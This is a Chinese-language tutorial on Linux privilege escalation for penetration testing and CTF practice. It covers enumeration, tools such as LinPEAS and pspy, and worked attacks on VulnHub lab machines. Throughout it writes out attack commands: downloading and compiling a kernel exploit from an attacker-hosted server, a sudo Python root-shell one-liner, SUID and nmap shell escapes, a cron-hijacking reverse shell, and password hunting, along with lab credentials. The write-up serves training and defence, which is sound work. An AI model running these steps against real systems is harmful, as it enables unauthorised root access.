Linux提權過程中的各種姿勢
1.關于提權
系統提權通常是滲透測試或CTF比賽中遇到的關鍵步驟, 通過提權可以允許攻擊者執行一些特殊操作,例如:繞過訪問控制、更改密碼、創建新用戶作為持久化手段、對軟件進行更改等。具有root權限的用戶則可以對系統進行任何操作, 包括:讀、寫或刪除任何文件、停止或啟動服務、安裝或卸載應用程序及管理賬戶等。
2.提權過程中的信息收集
提權過程中的信息收集相當于是一個手動枚舉的過程, 涉及對系統配置和服務信息進行詳細的查看和收集, 在此過程中, 往往需要記錄盡可能多的信息, 其中有些看似不重要的信息即使現在用不到, 在后期往往能提供非常有價值的靈感和思路。
2.1 查看系統內核版本
如果發現具有可用漏洞的內核版本, 則可以使用它來獲取root shell, 可以使用以下命令查看內核版本:
$ uname -r
命令返回如圖:
圖片
如果安裝了LSB模塊, 則可以使用命令查看Linux版本, 命令如下:
$ lsb_release -a
假如沒有該命令, 可以使用以下命令查看:
$ cat /proc/version
命令返回結果如下:
圖片
2.2 Sudo版本
跟內核版本一樣, sudo版本也可能受到攻擊, 可以使用以下命令查看:
$ sudo -V
命令返回結果如下:
圖片
2.3 歷史記錄
使用history命令可以查看系統曾經運行的命令歷史記錄, 在這個過程中往往能夠找到一些有價值的信息,例如:系統密碼,如圖:
圖片
2.4 計劃任務
可以使用命令查看系統中間隔時間運行的程序, 在這個過程中可能會發現一些意外的信息,如圖:
圖片
2.5 sudo信息
在Linux權限提升過程中, 查看用戶當前擁有的sudo權限, 可以提示我可能使用sudo能夠運行某些命令, 輸入以下命令:
$ sudo -l
命令返回結果如下:
圖片
2.6 檢查身份
可以直接使用id命令查看當前用戶屬于哪些組, 如圖:
圖片
2.7 檢查網絡信息
查看網絡信息可以為下一步行動提供豐富的信息,例如: 路由信息、IP地址等, 根據這些信息對于之后理清整個網絡拓撲結構非常有幫助, 命令執行結果如下:
圖片
3.自動化工具
在Linux系統中使用自動化工具可以大大提升整體效率, 以下是一些常見的枚舉工具。
3.1 LinEnum
LinEnum是一款流行的權限提升工具, 它能夠顯示有關Linux系統的信息, 這些信息有價值的地方在于它們可能具有潛在的漏洞、錯誤配置, 大大提高提權的成功幾率。
圖片
LinEnum收集的信息包括:用戶賬戶、文件權限、活動進程、已安裝的軟件包、網絡配置、計劃任務、系統日志、版本信息等。
3.2 LinPEAS
LinPEAS也是一個流行的提權腳本, 可以幫助我生成root shell的潛在路徑, 并協助發現Linux環境中權限的錯誤配置或漏洞。
圖片
LinPEAS使用顏色編碼系統突出顯示哪些特權升級維度最可能發揮作用, 如果出現紅色/黃色, 則應該優先關注。
3.3 Pspy工具
Pspy是一個命令行工具, 該工具可以無需root權限監控Linux系統中運行的進程。
該工具對于識別cron作業或其他計劃任務運行的進程特別有用, 這些進程通常是特權升級攻擊的目標。通過識別這些進程,滲透測試人員可以找到利用錯誤配置或漏洞的機會,從而使攻擊者能夠在系統上獲得更高的權限。
圖片
3.4 Linux Exploit Suggester
Linux Exploit Suggester是一個Linux權限提升工具,用于檢查計算機是否存在潛在的內核漏洞。該工具使用“極有可能”、“可能”、“不太可能”和“不可能”分數來計算漏洞利用成功的可能性。
圖片
3.5 Linux Smart Enumeration
Linux Smart Enumeration是另一個類似于LinPEAS 的工具。它旨在識別系統漏洞、錯誤配置和其他潛在的系統權限升級途徑。然而,LSE以其獨特的檢查“級別”而聞名,它允許用戶根據自己的需要指定枚舉的深度。
它具有三個詳細級別。默認情況下,系統會顯示最嚴重的安全漏洞。執行第1級會顯示有用的信息,可以幫助滲透測試人員升級權限。執行級別2將提供收集的所有系統數據的大量轉儲。
圖片
4.利用內核漏洞提權
內核漏洞是利用Linux操作系統內核代碼中的錯誤或缺陷, 例如:緩沖區溢出。為了能夠證明利用內核漏洞提升權限并生成root shell確實有效, 這里使用了VulnHub的Kioptrix 1.1虛擬機。
當以普通用戶進入目標機器后, 首先還是通過lsb_release -a 命令查看內核版本, 如圖:
圖片
從上圖中可以看出, 這臺機器運行的是CentOS, 內核版本為:2.6.9, 下一步使用searchsploit命令查找漏洞, 完整命令如下:
$ searchsploit linux CentOS 2.6 privilege escalation
上圖中顯示的9545.c將是我們利用的目標, 但必須將代碼從Kali傳輸到我的目標機器并編譯成可執行文件。
接下來我在Kali機器上啟動一個Python服務器, 并通過Kioptrix 機器上的wget下載漏洞利用程序。以下命令將在端口 8000 上啟動 Python 服務器。確保在漏洞所在的同一文件夾中啟動服務器。
python3 -m http.server
圖片
圖片
下面我可以使用wget命令將漏洞利用程序下載到Kioptrix,命令如下:
wget http://192.168.56.103:8000/9545.c
下載完成后, 使用以下命令編譯代碼:
gcc 9545.c -o privesc
圖片
最終利用內核漏洞獲取到root shell權限。
5.利用服務漏洞提權
服務漏洞主要是利用系統或應用程序服務中的漏洞達到提權目的。這些服務通常是向其他程序或用戶提供特定功能的后臺程序,包括: Web服務器、數據庫服務器、電子郵件服務器等。
服務漏洞利用的過程涉及攻擊者控制服務中的漏洞個來執行惡意代碼, 根據具體的漏洞和所涉及的服務, 成功利用的結果可能會有很大差異。
下面是一個利用的案例, 看看在VulnHub的Raven2 VM中利用服務漏洞進行root訪問是一種怎樣的體驗。
當我通過反彈shell進入了目標系統, 便可以進行一些枚舉操作來查找任何潛在的漏洞。
現在我已經擁有位于wp_config文件中的MySQL憑據, 接著運行LinPeas工具, 看看能否找到任何可能的特權路徑。
觀察LinPeas提供的輸出內容, 我發現MySQL正在以root身份運行, 如圖:
圖片
祭出搜索引擎, 看看該版本的MySQL是否有可用的漏洞,如圖:
圖片
看上去運氣不錯, 有一個名為udf_root的潛在的權限提升服務漏洞可以利用,該漏洞利用MySQL中的UDF(用戶定義函數是一段擴展MySQL服務器功能代碼)以MySQL服務的權限執行系統命令, 最終獲取系統權限。
該漏洞利用會將/bin/sh復制到臨時文件夾, 將所有者設置為root, 然后在/bin/sh二進制文件中設置SUID權限, 從而提供root shell。
將udf_root腳本下載到我本地Kali機器上, 將其重命名為ravenprivesc.py, 通過執勤啟動的Python服務器并使用wget命令將其下載到Raven機器上, 如圖:
圖片
結合之前MySQL的登錄憑據, 即:用戶名:root, 密碼:R@v3nSecurity, 運行一下試試:
圖片
成功獲取到root權限。
6.利用Sudo權限提權
在Linux系統中, sudo代表超級用戶執行操作, 該命令允許普通用戶以超級用戶(root)的安全權限執行某些命令。sudo的主要目的是將root權限限制在真正需要的時候。
對于攻擊者來說, 利用sudo規則, 可以獲得提權并操作一些命令,例如: cat、find或python。
下面我使用sudo -l命令來查看sudo權限:
圖片
從上圖中可以看出, 可以使用sudo權限運行python, 而無需提供密碼。
下面執行該命令:
sudo python -c 'import os; os.system("/bin/sh")'
圖片
從上圖看到,直接獲取到了root權限。
7.利用SUID提權
SUID代表設置所有者用戶ID, SUID允許用戶以與文件所有者相同的權限運行可執行文件。例如:如果文件設置了SUID位, 則標準用戶可以使用root權限執行該文件。
SUID權限可以使用帶有四個前綴的chmod命令(例如:chmod 4755 文件名)來設置, 并且可以在ls -l中用s代替用戶執行權限。
可以輸入以下命令進行手動檢查SUID:
find / -type f -perm -04000 -ls 2>/dev/null
圖片
也可以使用LinPeas檢查SUID文件,如圖:
圖片
如上圖, 利用Nmap命令設置SUID位來幫助我提升權限。可以從這個網站:https://gtfobins.github.io/gtfobins/nmap/#suid找到相關操作的詳細過程。
使用--interactive標志運行Nmap將來交互模式下啟動它, 而!sh會在交互模式下生成一個shell, 由于Nmap上設置了SUID位, 因此shell將以root權限運行。
圖片
8.計劃任務提權
Linux中的計劃任務是按預定義的時間或間隔運行的操作, 它們用于自動執行重復性任務, 以便無需人工干預即可完成這些任務。
如果計劃任務以更高權限運行, 例如:root cron作業, 并且如果它被錯誤配置為執行普通用戶可寫的文件或腳本, 這樣就可以修改此文件或腳本來包含惡意命令, 從而導致權限升級計劃任務執行。
這里我采用了VulnHub中的Symfonos3 VM來查看計劃任務, 首先還是利用Python創建一個http服務,輸入命令:
python3 -m http.server
圖片
這里可以使用wget命令從服務器下載pspy, 只要確保使用本機IP 即可:
wget http://192.168.110.136:8000/pspy64
圖片
接著運行:./pspy64, 讓pspy運行幾分鐘, 這時可以看到一個名為ftpclient.py的進程在定時運行, 如圖:
圖片
研究一下該文件, 看看是否可以以某種方式在它后面附加一些代碼來生成反彈Shell,如圖:
圖片
這里我沒有ftpclient.py文件的寫入權限, 但我注意到該文件正在導入ftplib, 不妨嘗試將其寫入該文件中試試,如圖:
圖片
由于是"gods"組的一部分,因此擁有該文件的讀寫權限, 我可以給這個文件附加一個shell, 等待計劃任務執行, 這時應該稱為root用戶了, 如圖:
圖片
回到kali機器上,看看結果:
圖片
9.利用密碼提權
當涉及到Linux權限提升時, 成為root用戶最簡單的方法之一就是查找密碼, 攻擊者可能會使用多種方法來查找系統中的密碼。
Linux用戶可以以純文本形式存儲密碼, 如果這些文件沒有得到適當保護, 攻擊者可能會訪問用戶的賬戶。
一旦找到密碼, 攻擊者就可以使用它來提升權限, 方法是登錄更高權限的賬戶或將其與sudo一起使用以提升權限運行命令。
下面將使用VulnHub中的SickOS VM來實現這個場景, 首先輸入以下命令查看密碼:
cat /etc/passwd
圖片
從圖中可以看到, 有一個用戶較sickos, 下一步搜索以純文本形式存儲的密碼, 可以使用以下命令來搜索包含字符串"pass"的PHP文件:
find / -maxdepth 4 -name *.php -type f 2>/dev/null | xargs grep -C 3 -i pass
圖片
可以看到, 有一個以明文形式存儲的用戶名root和密碼john@123, 看看是否可以使用找到的密碼切換到sickos用戶, 從社會工程學角度, 密碼往往會重復用于多種場合:
圖片
居然可以, 我已將www-data用戶提升為Sickos用戶, 現在順便看看是否有sudo權限:
sudo -l
圖片
可以看到,已經可以以root用戶身份運行所有命令。